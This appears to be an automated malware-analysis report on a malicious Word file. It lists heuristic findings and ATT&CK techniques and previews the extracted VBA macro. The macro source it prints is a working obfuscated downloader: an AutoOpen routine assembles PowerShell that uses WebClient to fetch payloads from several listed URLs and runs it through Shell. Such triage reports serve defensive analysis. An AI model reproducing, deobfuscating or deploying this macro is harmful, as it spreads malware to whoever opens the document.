MALICIOUS
112
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros. The critical OLE_VBA_SHELL heuristic indicates the macros likely attempt to execute commands. The script contains obfuscated code that reconstructs a URL, 'http://dniepmann.de/KDym'+'dFZR+FZRXl4K+l4KEMw7+Mw7/ebMw7+Mw7wl4K+l4K.SplitMw7+Mw7(Mw7+Mw7ebw?eMw7'zIwaZzwwp', which is likely used to download and execute a second-stage payload. The AutoOpen macro marker and the presence of VBA macros strongly suggest this document was intended to be delivered via spearphishing.
Heuristics 6
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
tPmOzGXwk = (3298316 - CDbl(8394347 + jTTimAG / qiXQpRkDzMiTf * Hex(1260291)) - 2042279 + CByte(NrBAtzOqtNsCtH)) Shell tNISOsVZhVTz + OYcFdRzjLRVOfk + mYhZJXQvz + wsPjXb, 0 ZhKsZlFXo = (9274579 - CDbl(821299 + RTfZAqDUjTtWq / uHJZwLwzInJFw * Hex(224402)) - 3666537 + CByte(lMTYdf)) -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "SjnjBcDoil" Sub AutoOpen() On Error Resume Next -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://Mw7+Mw7lMw7+Mw7ibreF In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 32319 bytes |
SHA-256: e891a91f0c1d6090f6b745f451f5beb6c902a5899dd116442dcb21c4f9a122a6 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
773 of 1054 identifiers look randomly generated (e.g. 'l4K7EnsaYQzliVnHRGJNXQTNRuAYhzNsLFjh'); 18 string-concatenation chain(s) — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "zzuPzKmloEzqt"
Function iCLPwljtshXptk()
On Error Resume Next
OjOQsTcz = (4008489 - CDbl(6595087 + Phobi / YwoYkvCwGq * Hex(4669837)) - 3811829 + CByte(juGhniJQQHVUw))
oOlajWjj = (8154874 - CDbl(2183191 + TRVmmw / JCfzLjIzUd * Hex(5215300)) - 303537 + CByte(JAAwZJ))
ENlXMtDDdIl = (1429499 - CDbl(8332009 + DmErqnZC / HkSwiHhzkIJ * Hex(175879)) - 8186282 + CByte(oBwSQYMco))
SlvYrVJDTYp = (VMUazaQsOiPosz) + yHBjksbJKSUgsssd("AnNR7+Mw7tp:/Mw7+Mw7/dMw7+Mw7rniepmann.Mw7+Mw7de/KDym'+'dFZR+FZRXl4K+l4KEMw7+Mw7/ebMw7+Mw7wl4K+l4K.SplitMw7+Mw7(Mw7+Mw7ebw?eMw7'zIwaZzwwp", 5, 124)
FTIHVdzJSLb = (8613573 - CDbl(4058511 + dUiwhH / OpivoljuEXJ * Hex(7145082)) - 9471932 + CByte(JkEpDXlic))
AMOuRmsbI = (5657654 - CDbl(9319771 + OnboUJFpfZzcKw / SKsjHXmUjZG * Hex(5892198)) - 6894789 + CByte(jNAzpWvSPDAfH))
haDDfUcmp = (8480808 - CDbl(6849319 + cfGnTTkzobcT / OOiVwvMzdVanA * Hex(9137717)) - 7886659 + CByte(cQtkwzbYvaP))
tAwFCiW = (MVtPbYwhSMOQq) + yHBjksbJKSUgsssd("TzkKkiELkS'+'4K+l4Kpl4K'+'+l4KFZR+FZRlAcE(([chAr]107+[c'+'l4K+l4KhAr]1l'+'4K+l4K03+[chAr'+']69),Mw7wWIMw7) )FZR)l4K+l4K -RePlac'+'e FZ'+'RwWIFZR,[cHar]36l4K+l4K-RePl'+'ace ('+'[l4K+wQiQzwzp", 11, 173)
LBkDuUdqGOU = (4694852 - CDbl(9036892 + MKiivRnG / VjjtSGjKZv * Hex(53379)) - 2031972 + CByte(FzNGwRrv))
UFphwzHjzn = (1505296 - CDbl(8287926 + mzDKufjBOjp / owjDAptd * Hex(8983520)) - 1250770 + CByte(FlUoSWPiNoAGV))
BTGGIiZPG = (631576 - CDbl(4131364 + uLwwjPjZ / SNrFON * Hex(7620144)) - 6156617 + CByte(wZaqR))
uKQKQ = (wXqwKjAS) + yHBjksbJKSUgsssd("hVIicnaOsOQCMw7+Mw7-obMw7+Mw7jeMw7+Mw7cebwMl4K+l4Kw7+FZR+FZRMw7+eMw7+Mw7bwtMw7+Mw7ebw)'+'l4K+l4KMw7+Mw7 random;kMwWqwwRzdfFZLFlBlzsLuLiujcfR", 13, 102)
qivSNwEmZuu = (4710727 - CDbl(4808372 + bNaQFvqDuTzfnF / UHNMjQvrVuIV * Hex(6045028)) - 2359302 + CByte(XafdAaOu))
LzrzXLo = (9001114 - CDbl(6697556 + vXcNiCwIKru / sifVFWw * Hex(5165495)) - 2064676 + CByte(cwWzKFMFNTdzU))
CRkkiIJAShb = (4735920 - CDbl(2881151 + PFWXBZ / OmuUEJXzHY * Hex(835296)) - 8901609 + CByte(qfrtvEibivO))
OPvvq = (vKJpEuizI) + yHBjksbJKSUgsssd("IOGuEfLrCaZBIR+FZR7l'+'4K+'+'l4K+M'+'w7aMw7+Mw7kMw7+Mw7;}caMwrMIUVoDN", 14, 48)
loVtrCNRAp = (5834310 - CDbl(6624734 + kOcbzvBf / fOwMQGDlPrNhS * Hex(5256601)) - 1793513 + CByte(IoGNXwcYfWcc))
pqPAs = (2310077 - CDbl(8402238 + SdVkWJ / ZOSnAnVkRmT * Hex(7606724)) - 7927723 + CByte(vSThlZ))
jOGNQFMj = (6389713 - CDbl(8816901 + bZXjvEzqni / PrvjzpCuF * Hex(8106384)) - 1691737 + CByte(CAWLBDkjC))
YXYBMad = (DTIMQkHwpVVYQ) + yHBjksbJKSUgsssd("QocsiKaoo'Mw7exebwFZR+Fl4K+l4KZR+ebMw7+MwFZR+FZR7wl4K+l4Keebw);f'+'Mw7+Mw7orl4K+l4Keach(kgMw'+'7+Mw7Easfc '+'inl4K+l'+'4KFZR+FZR kgEAMiLIEhH", 10, 125)
iswczBWm = (7629316 - CDbl(3557669 + VjYtv / CuVjHEVTlcPl * Hex(8850380)) - 5519732 + CByte(lHToRSn))
RdqNzUPSp = (2443348 - CDbl(3201730 + wYNIUBmYIdPvI / SOQLuWCtpljbFF * Hex(5799256)) - 4054990 + CByte(hEsKjHL))
GptWCcd = (3219703 - CDbl(5154531 + NlzzpwWVCB / StoDicYswh * Hex(8890047)) - 7581020 + CByte(hrQmmHF))
ObwvzUuYFf = (sDWkkwXmo) + yHBjksbJKSUgsssd("CE7+Mw7gEYMw7+Mw7YUMw7+Mw7 =Mw7+Mw7 '+'.FZR+FZR(ebwnMw7+Mw7el4K+l4KMw7+Mw7ebl4K+l4cShEQqwhbFukkfAhJwG", 3, 80)
ChVZJdjwR = (3641509 - CDbl(9633356 + SzikjvwhwAwv / qiQOzSUbSjLfo * Hex(5438482)) - 3580299 + CByte(pwWKFTwtz))
rRwGFZPTWE = (9909107 - CDbl(6179520 + EQJFLFoIH / wAiJzRW * Hex(1069746)) - 8986663 + CByte(dKIEclmW))
TjABBlP = (6481159 - CDbl(4347825 + wmzWBWGT / nJPawWjvTfW * Hex(8397336)) - 922451 + CByte(tuIFdaS))
ATowazJXwHJ = (KEGzfmXiw) + yHBjksbJKSUgsssd("FWGITmvQZK+l4K+FZRiFlu", 10, 9)
PAvrZ = (4972912 - CDbl(8766266 + DctRdsQWj / czIzJVlGFt * Hex(6497635)) - 4912884 + CByte(azXVbOYlXGndKF))
iDRYjFHs = (5585665 - CDbl(7507854 + uJkQFHwFhhRtU / ridTR * Hex(1125109)) - 4475815 + CByte(HKtErUVwQITM))
nTvtsGOnt = (9777285 - CDbl(4720631 + iUsaPuhHrDGw / jmLhVFBaWAQbji * Hex(3234230)) - 1748278 + CByte(HBTpvwZfH))
fADLLz = (QmLfTviFFFqCCz) + yHBjksbJKSUgsssd("sbPrdw7+Mw7DCX){try{Mw7+FZR+FZRMwFZR+FZR7kgUOhPHhLduXtO", 6, 38)
uYHstlfQGCc = (9180368 - CDbl(1004050 + JlnmBOLcXV / fDMRmMnRIwajiz * Hex(6252210)) - 5384215 + CByte(IEjFfvNjqJk))
qMXEjGA = (5415788 - CDbl(6488484 + rqUvvSuiliiwj / BJpVmbTSltA * Hex(1440081)) - 9837006 + CByte(vDCpaCjtJBkJ))
AqBQwVmJ = (7902422 - CDbl(5913579 + EbiPiihT / pFaZEbv * Hex(7699786)) - 3784642 + CByte(ihcpWd))
WdZbWwzAp = (OLUbwfLQwS) + yHBjksbJKSUgsssd("HawoQuAzik+'+Mw7bwMw'+'7+Mw'+'7)FZR+l4K+l4KFZR;kgESMw'+'FZR+FZR7+Mwl4K+l4K7DMw7+Mw7C = kgEFZR+FZReMw7+Mw7HfWZJfROwSMoVOb", 11, 95)
YCYXXVVAFPw = (9412564 - CDbl(7977930 + wlcmMlfXhji / SmaXIiv * Hex(9901627)) - 749098 + CByte(wopBCpSR))
sPGabwfT = (6557780 - CDbl(7599948 + HsNEjFGoihDJ / BojSZbBpbcno * Hex(9330184)) - 2033596 + CByte(pEPwqZLuNSc))
WPPdwpY = (4894383 - CDbl(7901442 + VmuiDzN / zrGmzf * Hex(2943475)) - 4917247 + CByte(juYzdRFS))
HMwiaFaENz = (jozUbJpiF) + yHBjksbJKSUgsssd("JhbUJdNwziVMw7m.NFZR+FZRet.Mw7+Mw7WebCli'+'enFZR+FZRtMw7+Mw7;kMw7+Mw7gENSwppUcEbKMzN", 12, 62)
oJPDq = (858774 - CDbl(5284398 + ioBsiRLrVpL / JSkzuFaSZYjG * Hex(8132518)) - 6889266 + CByte(PZsOO))
rvVEk = (7314492 - CDbl(2015557 + hwEWuTOV / wDBCw * Hex(973960)) - 5759966 + CByte(dJGGHuCvOvSc))
bzClwQvZTKM = (5139541 - CDbl(9551267 + zDDAp / fwKDdImiART * Hex(2880552)) - 5476415 + CByte(cEJaECbjXws))
JhQtdQCWI = (GqsJtKVjEYr) + yHBjksbJKSUgsssd("zXHIng][chaR]36).RePLAcE(([chaR]73+[chaR]66+[chaR]83),[sTRing][chaR]124)VoBPwkKn", 5, 68)
FaGhXzUs = (5594973 - CDbl(9405893 + GwaOKAIlhBWP / YlSIHwSmPT * Hex(8789729)) - 9599197 + CByte(imZGFRHBwzj))
qzTQzlcC = (6386632 - CDbl(8358124 + difLHimZbH / mjiArfhQfVVL * Hex(5023148)) - 9324154 + CByte(IZcmj))
ifhIPPXOE = (5292165 - CDbl(3049436 + oIkImPsF / RUTkcAF * Hex(3963972)) - 417484 + CByte(MIISFOCZ))
zzuwNwVSn = (CilPMNiwNwNaut) + yHBjksbJKSUgsssd("MiTbUGOAfa+'Mw7YH6/?h'+'Mw7+'+'Mw7FZR+FZRttpMwFZR+FZR7+Mw7:MFZR+FZRw7+Mw7//cMw7+Mw'+'7oMw7+Mw7ngl4K+l4Kiu.Mw7+Mw7frMw7+Mw7/l4K+'+'l4KNM'+'w7+M'+'wl4K+l4K71MMw7znja", 11, 149)
kEIUI = (4327165 - CDbl(3356276 + KDJjqitkpfI / tJwVmIwzH * Hex(3023035)) - 4976557 + CByte(zYzlhtoaYrzSF))
cJTTwNdufqM = (1908333 - CDbl(406531 + dKLGIoAvjw / QYTZudQiRfHCv * Hex(8215248)) - 6388190 + CByte(BKdQcGVTwDTkJX))
RpGGSDbX = (825908 - CDbl(912760 + zYCESEpobkz / HPQarzlCi * Hex(3497627)) - 1896599 + CByte(AcqKj))
wwUktj = (HXuBmQKtFdUjY) + yHBjksbJKSUgsssd("rhWjkwow7rl4K+l4'+'Ki'+'asuMw7+Mw7r.coMw7+M'+'w7mMw7+Mw7/N5MFZR+FZRw7+Mw7MvM'+'w7+'rFUNGdAujvhcbrVA", 8, 76)
MOrNnbImZS = (7694309 - CDbl(562365 + RXSBBh / AEpNiIB * Hex(8007597)) - 4324288 + CByte(oTzwzQjO))
JTvQvfDR = (1236816 - CDbl(3347586 + dDnCHWHWHBSP / iptrK * Hex(3778215)) - 9789862 + CByte(CdAUENTHmnu))
SszGzTYcLso = (3027752 - CDbl(5191297 + BBLWluSOS / EuRIWpDmS * Hex(1397533)) - 5381417 + CByte(niCJnPVNX))
JMGVNKkYK = (obAWYzo) + yHBjksbJKSUgsssd("ikEYiGIBCPwet-vAriAbLe FZR*mDr*'+'Fl4K+l4KZR).l4K+l4KnAME[3,11,2]-JOinFZRFZR)'+'( ((FZR . (F'+'ZR+FZR wWIverbosEpreFErencE.tostRInG()[1FZR+FZ'+'R,3]+Mw7xMw7-joiNMw7Mw7) ( (Mw7kgMw7+MwFZR+FZ'+'Rl4K+l4K7EnsaYQzliVnHRGJNXQTNRuAYhzNsLFjh", 12, 194)
RLcjw = (624663 - CDbl(8655863 + wESJU / JPENtoOJSs * Hex(2571372)) - 5448909 + CByte(YdPCIOMiDUG))
aNXtNHurMdz = (9536768 - CDbl(2000186 + FfLsmqFnUDjaF / EJbOiXU * Hex(5307027)) - 6698673 + CByte(JuIAF))
wUNvjj = (9116214 - CDbl(9658022 + juIiHAal / kJMTiIzZt * Hex(8701687)) - 8381869 + CByte(mZiwIisi))
icAowCwSP = (LkzjHzTubNcTcG) + yHBjksbJKSUgsssd("MDEKfpvhaFWt7+Mw7);kgEADCl4zuwCO", 13, 15)
EnRadbXmwQ = (3492565 - CDbl(4281455 + blIaMCGzwUi / wSiDVCkHArz * Hex(9047632)) - 120548 + CByte(SDaoqMZZHGZdV))
wrcrziq = (4342574 - CDbl(9704292 + urZqEIFpc / hOjjoNaVjDX * Hex(1636908)) - 5784169 + CByte(IZKbirhO))
RicwpUWX = (1732488 - CDbl(5904882 + FVJmKzlLJiLpYR / DAnvwlN * Hex(1422787)) - 6568444 + CByte(zdLlzTFEli))
VZBqo = (EZCaoswj) + yHBjksbJKSUgsssd("oZIKnjHBTcKw+ebMw7+Mw7wFZR+l4K+l4KFl4K+l4KZRwebw+ebwl4K+l4K-Mw7+Ml4K+l4Kw7oMw7+Mw7bjFZR+FZReMwl4K+l4K7+Mw7ctebw) Mw7+Mw7SysteMw7+HlsG", 11, 119)
jqinPhowI = (1791669 - CDbl(2157121 + lmiTmR / pMosTkv * Hex(2196259)) - 3799394 + CByte(wSssYZqiobNmL))
NOXRhWL = (4333871 - CDbl(2247149 + swAbwBQNYT / AuqMAzhdq * Hex(3631491)) - 2573475 + CByte(MsowpAD))
qaBiZ = (187631 - CDbl(3467810 + qswLsuuCfTE / qkzPM * Hex(7373924)) - 5807310 + CByte(VJilniKDaMUSF))
GvrJEkO = (hbNjLsNbHMTaa) + yHBjksbJKSUgsssd("XlRNPHUhCaBwK+l4KX =Mw7+Mw7 ebMw7+Mw7w http://Mw7+Mw7lMw7+Mw7ibreF'+'ZR+FZRMFZR+FZRw7'+'+MTrXCjRKwPtVnQOncCuvYwZd", 13, 78)
dhiVH = (2709108 - CDbl(2069032 + JjrcSwlzW / zzWiqJjWldd * Hex(6262755)) - 1150388 + CByte(zYDwf))
TZaAYliww = (1499616 - CDbl(4341593 + ESzDrLVuWMf / AaRmfPiKd * Hex(6325528)) - 8704626 + CByte(doctvpRPKP))
VSCjK = (8988130 - CDbl(830926 + nRVAqHRBiCZ / RQPdLH * Hex(4606150)) - 4840590 + CByte(ZDjbzjvQ))
OfOiiDzAXG = (tIJCEAaoRWZLj) + yHBjksbJKSUgsssd("PvfUFBMi'+'l4K+l4Kdasd = &(Mw7+Mw7FZR+FZRebwMw7FZRl4AzOn", 9, 44)
GTltJv = (5647749 - CDbl(4951520 + lwIWf / NNlZqbV * Hex(7079541)) - 4202609 + CByte(ttMXRTBU))
BdwGOd = (9750956 - CDbl(9408997 + iSjoWGuiOdJhs / kXkvzHrZVK * Hex(8679159)) - 3154587 + CByte(jSznY))
AnVTEkBVDMu = (6581339 - CDbl(3826952 + vFkUUaGHnjL / shvQYApBF * Hex(9431347)) - 4269273 + CByte(FELMQplzYvoSAb))
wSYKkdXJV = (mZcbvlDm) + yHBjksbJKSUgsssd("GGSmBubXiakItwamzdthHw7+Mw'+'7'+'2giL2Mw'+'7NMDiajzadpQZP", 22, 23)
hCZcCR = (8232092 - CDbl(9562113 + MwzsdQzXJQnPvN / vIqjaN * Hex(1426407)) - 1152330 + CByte(qjKMNRqa))
FWzhjN = (6916656 - CDbl(5391150 + zLKsQSAiB / jnbEUGDGXkEqh * Hex(454998)) - 8911901 + CByte(kKsaMf))
OuEooGV = (3787389 - CDbl(8632779 + jwzTINY / ZGviH * Hex(8523443)) - 2029263 + CByte(TMrQIiHwKhpq))
wwBIzhGv = (PXsSiwjpOQPu) + yHBjksbJKSUgsssd("zwzRLvDOkwa]98+[chAr]119),[STRINg][chAr]39).l4K+l4KreFZR+FZRplAcE(M'+'w7FZR+FZRL2gMw7,Mw7hOVMw7).replAcEl4K+l4K('+'(l4K+l4K[chAr]109+[chAr]102'+'+FZR+FZR[l4K+l4KchArl4K+l4K]72),[ST'+'RINFZl4K+l4'+'KR+FUX", 12, 190)
IJjwzsmM = (8571995 - CDbl(3627544 + cCFrzIaXhd / CczOHCjjzUkWWL * Hex(9951607)) - 7568000 + CByte(YJnll))
XcVYiwvbQ = (8365696 - CDbl(1208640 + fQHiowwIMtWXO / iHMVHsj * Hex(6703216)) - 5991928 + CByte(VVzYpJRktXblZB))
zPBFLIPdzv = (1587865 - CDbl(4233950 + OKSdQqNijZPk / KwlHJTw * Hex(4990580)) - 3615087 + CByte(bldqi))
pzTcvi = (jlHvwXcRhn) + yHBjksbJKSUgsssd("kwqSZdkKWltnDTrosnl4K+l4Ko.pl/y4LMw7+Mw7oJ/FZR+FZ'+'RMw7FZR+FZR+Mw7?hMw7+Mw7tMwsXFqwpBKtHRrtiz", 15, 65)
OuUDulAGrmZ = (8608284 - CDbl(7844798 + LvHrrmAil / PBwHsYZlDoMfJT * Hex(4897261)) - 7162301 + CByte(cDsQRYOvWRViTd))
OdzSlanwNj = (1438680 - CDbl(1817147 + TABYUH / fpzKjlnRGo * Hex(4553700)) - 5227877 + CByte(iwdkLVGEGkLFV))
zbruA = (9872870 - CDbl(60408 + jZIwRkcYD / liDYiGj * Hex(3297510)) - 5438455 + CByte(WRMzAWYEo))
kdbmNvd = (jCAfNfAR) + yHBjksbJKSUgsssd("kt(10000Mw7+MwKipzIwXwiavjulp", 2, 13)
YPrrEMq = (199810 - CDbl(6658905 + EYEXfC / MIwvLYkw * Hex(940627)) - 9863153 + CByte(KBPqBqiwSlPPX))
FCjiZuakGQz = (4172638 - CDbl(8139428 + jjFPHpFCGiflwU / rklqhqOXOsj * Hex(6977674)) - 6240739 + CByte(tYZVZARzkjUvMj))
VvhuR = (3707753 - CDbl(2128511 + AzDYimfJHVJrW / FYGNJGQYTP * Hex(8529341)) - 104056 + CByte(VldiD))
knUHQrIwH = (iazWEjwkc) + yHBjksbJKSUgsssd("YUFkGZLHBlpwl'+'4'+'KcHar]115+[cHar]109+[cHal4K+l4Kr]113),[cHar]92 -crepLaCE Fl4K+l4KZRMw7FZR,[cHar]39-crepLal4K+l4KCE([cHar]104+[cHar]79+[cH'+'a'+'r]l4K+l4'+'K86),[cHar]96) ) l4K) -CRePPGJLfzjWzjhGNzzVkoM", 13, 175)
QHiIKSca = (2930535 - CDbl(4436085 + WJEccd / fijJXdqFnXvT * Hex(9167960)) - 6452501 + CByte(XMEFoHjnuGOXIu))
KHwvPp = (9677920 - CDbl(4328079 + IpskC / oooDUpMwbZX * Hex(7314186)) - 8566698 + CByte(WpfvqpDJG))
DiiHJ = (6585750 - CDbl(2111898 + BsKFoOUcPRAE / zhKmwlI * Hex(1111229)) - 9584509 + CByte(TKztMjfiGsf))
jHppC = (mtMSfIINI) + yHBjksbJKSUgsssd("bvOww7, 282133MwEkiakKEccEl", 6, 11)
noLhUs = (1504989 - CDbl(9292206 + iuLkINYRNbr / obiiQAFmIaIpv * Hex(7155221)) - 1618357 + CByte(asoJTZWuPwktU))
pOZqK = (1020130 - CDbl(8955532 + LuOjMNbUC / bIlWoX * Hex(1064218)) - 5942953 + CByte(UnhVPFkSTPLRD))
LWjfbLXCwCf = (6083066 - CDbl(7613099 + BWYhMRUGJw / ItHMopO * Hex(4946437)) - 6555742 + CByte(YzibvHErsX))
WkOzbEbQi = (HtWIzCjDLrvrU) + yHBjksbJKSUgsssd("VcLtwbQhVLZtvAYoBGPusB = kgEMw7+Mw7nl4K+l4KsadaMw7+Mw7sd.neMw7FZR+FZR+Mw7xvBiRcwEhOFTGN", 22, 53)
BklVNivKZ = (7950368 - CDbl(1136635 + AcWtFR / PPRakL * Hex(346187)) - 3849363 + CByte(HsjWPCM))
NvUhoiv = (6707244 - CDbl(7557380 + WvBTQ / XsrKinrMsDL * Hex(8870940)) - 8124880 + CByte(QWsrQj))
ODjhHWDUOjY = (1070154 - CDbl(6815003 + wQnGFvPOvBsNT / JjUBXdL * Hex(8354195)) - 3521709 + CByte(jjzCJDhcnBtur))
owWiMps = (QrbYMDXb) + yHBjksbJKSUgsssd("GOszIiiwdLnRMw7kgEasfcMw7+Ml4K+l4Kw7.mfHToStrLFZR+FZRMdRprzbOwtANW", 12, 43)
iOMFSoHU = (4948419 - CDbl(4176078 + MFsUPaRROpnPFz / cZuomnTzH * Hex(9762531)) - 8888469 + CByte(XmwvGQVRjWY))
iDLTIX = (6593137 - CDbl(3527395 + uUWITcGHiYA / jIsHkVVstfSt * Hex(6275699)) - 9768332 + CByte(ioFBMVGszbz))
mSpdQCbW = (6060577 - CDbl(3357169 + QHXvVhMYbm / MZmPB * Hex(5496503)) - 5353968 + CByte(sXTZXnPc))
WHYfDYoYaS = (viiFiGwv) + yHBjksbJKSUgsssd("TkLzKvjCbRBhmh('((l4K. ((GOfrrScNDBcwOTwA", 15, 12)
DOUvYBPERkh = (4514656 - CDbl(2126955 + EziAHFEwf / BMIIIrHiQCVNGG * Hex(4805799)) - 7771740 + CByte(ImvjNiiM))
CGDjmJdOoqb = (6242257 - CDbl(7812294 + qFNaiQRlqnLlq / GIDqqcbT * Hex(7345955)) - 9134211 + CByte(kPnhdv))
FZzqjLDVKF = (5430787 - CDbl(638547 + oKpujqp / zjzBEMGWbWqM * Hex(3593365)) - 4482257 + CByte(SQtBdDMr))
SDVikCCV = (zLRXJMSwzwUdzz) + yHBjksbJKSUgsssd("iFVOijqlLac+Mw7k/?htMw7FZR+FZ'+'R+Mw7tp:Mw7+Mw7//clMw7+Mw7ub-ulMw7+M'+'w7mevMw7l4K+l4K+Mw7asiMw7l4K+l4K'+'+Mw7onMw7+Mw7l4K+l4K.fMl4'+'K+l4Kw7+Mw7r/jrZXqMw'+'7+Mw7VwUrXuAnFa", 12, 151)
AlDjE = (4876451 - CDbl(7328473 + uQrXippLjloOT / fKDRPqYiBN * Hex(3822173)) - 1310420 + CByte(zwsJSzr))
VzRVKnpSo = (6813773 - CDbl(2985636 + viRKb / kRjqE * Hex(4477805)) - 4283271 + CByte(kJvSPO))
fESVP = (5815967 - CDbl(640285 + brOqbWRbr / GHnzjzaR * Hex(9248234)) - 6919339 + CByte(JaalZIBY))
mcKAYkNKw = (wJfDhLC) + yHBjksbJKSUgsssd("wkXniwiYSisNwrb7+MFZR+FZRw7'+'tch{Mwl4K+l4K7+Mw7}}Mw7).rel4K+l4KplAcE(([chAr]11'+'l4K+l4K9+[chAr]88+[chAr]55),Mw'+'7FZR+FZRsmqMw7).replAcE(([chAr]101+[chAFZR+FZR'+'rnRY", 16, 150)
hioXEWRwuPd = (2285598 - CDbl(3021646 + pziTHRQoF / OPDXP * Hex(6221131)) - 2879569 + CByte(HNkMIBRCvTK))
WPGizavrhi = (7112907 - CDbl(5346735 + lEiDrZzYBYHHjC / prjlQEC * Hex(7017393)) - 5528581 + CByte(jCEWziUaSiwt))
ipwwkIwzs = (2342716 - CDbl(7771164 + hjLMFBVOrGcaz / sjTBOLX * Hex(9001520)) - 420805 + CByte(tmjOY))
nzmAnrzS = (uSONGPAz) + yHBjksbJKSUgsssd("JMw7+MwFZR+FZR7EMw7+Mw7Y'+'YU.Mw7+Mw7mfMw7+Mwl4K+l4K7H'+'DMw7+Ml4K+l4Kw7oLMwl4K+l4K7+Mw72gWnlL2Mw7+Mw7gOadMw7+Mw7FIL2Mw7+Mw7g'+'Mwl4K+l4K7'+'+Mw7leMwVziZHYHajfM", 2, 148)
jMadOr = (4965504 - CDbl(9078258 + rzdSmhHSSUH / iJzfEbXsvibzj * Hex(6402456)) - 7383542 + CByte(qRRodhEhRcz))
ocUZdiFj = (7560283 - CDbl(6804612 + ESEziF / XQnCCjNVd * Hex(6692545)) - 970278 + CByte(XcBCSNzFPNbikJ))
siYMc = (8010800 - CDbl(4826280 + vmwjLS / imazq * Hex(2407848)) - 7788291 + CByte(ssLdDPlkkAIJo))
qohBSbucz = (XmLnNPVDVP) + yHBjksbJKSUgsssd("RKfiARAbAcAnqLHPZRg][chAr]34).rl4K+l4'+'KelhsPdTIzaGXAjuVWQNPSfw", 17, 27)
QPLtKBzibtF = (8438813 - CDbl(9562125 + VuJCNjC / MVUjDB * Hex(157201)) - 1228267 + CByte(liwUDqFzklGkHW))
jYMsGfhaQq = (5016466 - CDbl(9188634 + TRYtsiJznDM / zMBTjA * Hex(2667871)) - 9778297 + CByte(RDEFduwZFzulU))
iLKqus = (6644524 - CDbl(6832879 + DtvoUQntrnY / RXVMw * Hex(8256415)) - 364504 + CByte(UoPnNai))
PDkmhUojf = (GOMJAYjmAOCZhm) + yHBjksbJKSUgsssd("EjYqAaaErENcE)[1,3]+l4KXl4K-joInl4Kl4K)').RePLAcE(([chaR]108+[chaR]52+[chaR]75),[sTRing][chaR]39).RePLAcE('QgE',[sTRivwENFRmI", 8, 110)
SzwFlp = (1595821 - CDbl(6568096 + hoijWNOiIb / hjaWKulfqOunU * Hex(71094)) - 9502085 + CByte(bYRUSA))
UDaQCEHzw = (5052757 - CDbl(6987806 + wzwYRdJibUj / qfbGcrPnBJj * Hex(4729235)) - 706145 + CByte(FqGchJqqMwpH))
KzzJLEz = (4947583 - CDbl(7097068 + EsjRZktqOpJ / wfoRXUd * Hex(4560146)) - 3824468 + CByte(zmWtzSiRVR))
MuOiW = (jHSJWBQLNqVs) + yHBjksbJKSUgsssd("FaRwUjwMEuVjzmLACe ([chAr]70+[chAr]90+[chAr]82),[chAr]39) IBS& ( ([strIN'+'G]QgEverbOSepRefmQ", 15, 78)
GrDvNbakO = (8714542 - CDbl(8735629 + flaMzUrjsiYRQ / bLUiMOYzovwzi * Hex(4123096)) - 3319979 + CByte(SXGNwRmmvSjS))
PufTYpzE = (184589 - CDbl(5477612 + OBwUBvujiWfwiO / mWPFPAKDrJYint * Hex(6646655)) - 1138607 + CByte(MvkzlAPrYqcqTU))
fDFEaWLF = (1413713 - CDbl(4669448 + jKCvMzDwFLdNGm / QjkjizAVzNrKiM * Hex(4637426)) - 7831350 + CByte(JpNYCDzw))
aRrHAWupHmJ = (XwtLXfRmwNQd) + yHBjksbJKSUgsssd("RmqtbRCThbnMw7-ItemMw7+Mwl4K+l4K7'+'ebwl4K'+'+l4K)(Mw7bjwLLvNIGwFHnankKWlvbLv", 12, 43)
MnfPiFzidw = (6446712 - CDbl(4349183 + DQZXNdl / zAVjNjaGCllE * Hex(8812265)) - 3014518 + CByte(hjzViHLNwSaaA))
FZZjXncH = (5787261 - CDbl(1640972 + IzkwzKH / wuiRzvSRoYrn * Hex(2615000)) - 1451043 + CByte(jlmXOm))
RDQmWi = (1727967 - CDbl(4897842 + uYcFJTuXcK / jYtNCAJmb * Hex(7392413)) - 4033182 + CByte(BsEKKntCpVGXbS))
WoCON = (uzfoDhVpUl) + yHBjksbJKSUgsssd("zDpKCHHnlC|. ( $shellID[1]+$sHelLId[13]+'X')Ws", 11, 34)
kiLfKjp = (4895581 - CDbl(5313877 + FIkkiHi / SWmjnAR * Hex(9677177)) - 3534388 + CByte(wRVwTl))
QIofAHcj = (3540828 - CDbl(6172063 + SYQwBrACM / jdvBJpVmlacEz * Hex(4521275)) - 3019728 + CByte(KrJpwSCiQp))
TLrJWcvYmt = (316200 - CDbl(4528621 + smwEEijAQMGz / hFwNYsiYhJtXuR * Hex(5185116)) - 2491426 + CByte(TowBsniAuojc))
nDkKpi = (HrYUNdWzpZ) + yHBjksbJKSUgsssd("FtIWHCvDfOVmAbtuZzHiRb/?Mw7+Mw7httMw7+Mw7p://www.Mw7+Mw7spMw7+MwFZR+FZR78kMw7+Mw7qsKhJPXu", 23, 59)
